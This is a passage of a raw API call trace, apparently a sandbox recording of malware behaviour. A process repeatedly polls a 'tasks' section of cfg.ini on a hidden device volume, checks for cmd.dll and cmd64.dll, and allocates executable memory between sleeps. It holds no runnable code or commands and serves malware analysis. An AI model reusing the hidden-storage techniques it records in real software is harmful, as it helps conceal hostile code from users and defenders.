VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.003] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.003] IdePortDispatch () returned 0x103 [0119.003] KeWaitForMutexObject () returned 0x0 [0119.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.003] KeLeaveCriticalRegion () [0119.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.004] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.004] KeEnterCriticalRegion () [0119.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] KeLeaveCriticalRegion () [0119.004] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.004] KeEnterCriticalRegion () [0119.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.004] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ca290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] KeLeaveCriticalRegion () [0119.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.004] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.004] KeEnterCriticalRegion () [0119.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] ExFreePoolWithTag (P=0xfffffa80039ca1d0, Tag=0x0) [0119.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.004] KeLeaveCriticalRegion () [0119.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.005] ReleaseMutex (hMutex=0xf0) returned 1 [0119.005] Sleep (dwMilliseconds=0x927c0) [0119.024] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.024] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.024] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.024] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.024] KeEnterCriticalRegion () [0119.024] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.024] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.024] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.024] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.024] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.024] IdePortDispatch () returned 0x103 [0119.024] KeWaitForMutexObject () returned 0x0 [0119.024] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.024] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.024] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.024] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.024] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.024] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf010 [0119.024] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.024] KeLeaveCriticalRegion () [0119.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.025] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.025] KeEnterCriticalRegion () [0119.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.025] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.025] KeLeaveCriticalRegion () [0119.025] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.025] KeEnterCriticalRegion () [0119.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.025] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.025] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.025] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.025] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.025] IdePortDispatch () returned 0x103 [0119.025] KeWaitForMutexObject () returned 0x0 [0119.025] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.025] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.025] KeLeaveCriticalRegion () [0119.025] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.025] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.025] KeEnterCriticalRegion () [0119.025] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.026] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c57000 [0119.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.026] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.026] IdePortDispatch () returned 0x103 [0119.026] KeWaitForMutexObject () returned 0x0 [0119.026] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.026] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.026] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.026] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.026] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.026] IdePortDispatch () returned 0x103 [0119.026] KeWaitForMutexObject () returned 0x0 [0119.026] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.026] KeLeaveCriticalRegion () [0119.026] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.027] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.027] KeEnterCriticalRegion () [0119.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.027] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.027] KeLeaveCriticalRegion () [0119.027] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.027] KeEnterCriticalRegion () [0119.027] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.027] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.027] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbf260, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.027] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.027] KeLeaveCriticalRegion () [0119.027] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.027] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.028] KeEnterCriticalRegion () [0119.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.028] ExFreePoolWithTag (P=0xfffffa8003bbf010, Tag=0x0) [0119.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.028] KeLeaveCriticalRegion () [0119.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.028] ReleaseMutex (hMutex=0xf0) returned 1 [0119.028] Sleep (dwMilliseconds=0x927c0) [0119.047] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.047] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.047] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.047] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.047] KeEnterCriticalRegion () [0119.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.047] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.047] IdePortDispatch () returned 0x103 [0119.047] KeWaitForMutexObject () returned 0x0 [0119.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.047] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.047] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.047] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.047] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.047] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa86a0 [0119.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.047] KeLeaveCriticalRegion () [0119.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.048] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.048] KeEnterCriticalRegion () [0119.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.048] KeLeaveCriticalRegion () [0119.048] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.048] KeEnterCriticalRegion () [0119.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.048] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.048] IdePortDispatch () returned 0x103 [0119.048] KeWaitForMutexObject () returned 0x0 [0119.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.048] KeLeaveCriticalRegion () [0119.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.048] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.048] KeEnterCriticalRegion () [0119.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5c000 [0119.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.049] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.049] IdePortDispatch () returned 0x103 [0119.049] KeWaitForMutexObject () returned 0x0 [0119.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.049] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.049] IdePortDispatch () returned 0x103 [0119.050] KeWaitForMutexObject () returned 0x0 [0119.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.050] KeLeaveCriticalRegion () [0119.050] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.050] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.050] KeEnterCriticalRegion () [0119.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.050] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.050] KeLeaveCriticalRegion () [0119.050] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.050] KeEnterCriticalRegion () [0119.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.050] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.051] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa8760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.051] KeLeaveCriticalRegion () [0119.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.051] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.051] KeEnterCriticalRegion () [0119.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.051] ExFreePoolWithTag (P=0xfffffa8003aa86a0, Tag=0x0) [0119.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.051] KeLeaveCriticalRegion () [0119.051] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.051] ReleaseMutex (hMutex=0xf0) returned 1 [0119.051] Sleep (dwMilliseconds=0x927c0) [0119.070] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0119.070] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.070] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0119.070] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.070] KeEnterCriticalRegion () [0119.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.071] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0119.071] IdePortDispatch () returned 0x103 [0119.071] KeWaitForMutexObject () returned 0x0 [0119.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.071] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.071] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.071] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.071] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.071] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649ab0 [0119.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.071] KeLeaveCriticalRegion () [0119.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.071] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.071] KeEnterCriticalRegion () [0119.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.071] KeLeaveCriticalRegion () [0119.071] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.071] KeEnterCriticalRegion () [0119.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.071] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0119.072] IdePortDispatch () returned 0x103 [0119.072] KeWaitForMutexObject () returned 0x0 [0119.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.072] KeLeaveCriticalRegion () [0119.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.072] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.072] KeEnterCriticalRegion () [0119.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c61000 [0119.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.072] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.072] IdePortDispatch () returned 0x103 [0119.072] KeWaitForMutexObject () returned 0x0 [0119.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.073] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0119.073] IdePortDispatch () returned 0x103 [0119.073] KeWaitForMutexObject () returned 0x0 [0119.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.073] KeLeaveCriticalRegion () [0119.073] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.074] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.074] KeEnterCriticalRegion () [0119.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] KeLeaveCriticalRegion () [0119.074] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.074] KeEnterCriticalRegion () [0119.074] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.074] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.074] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.074] KeLeaveCriticalRegion () [0119.074] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.074] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.074] 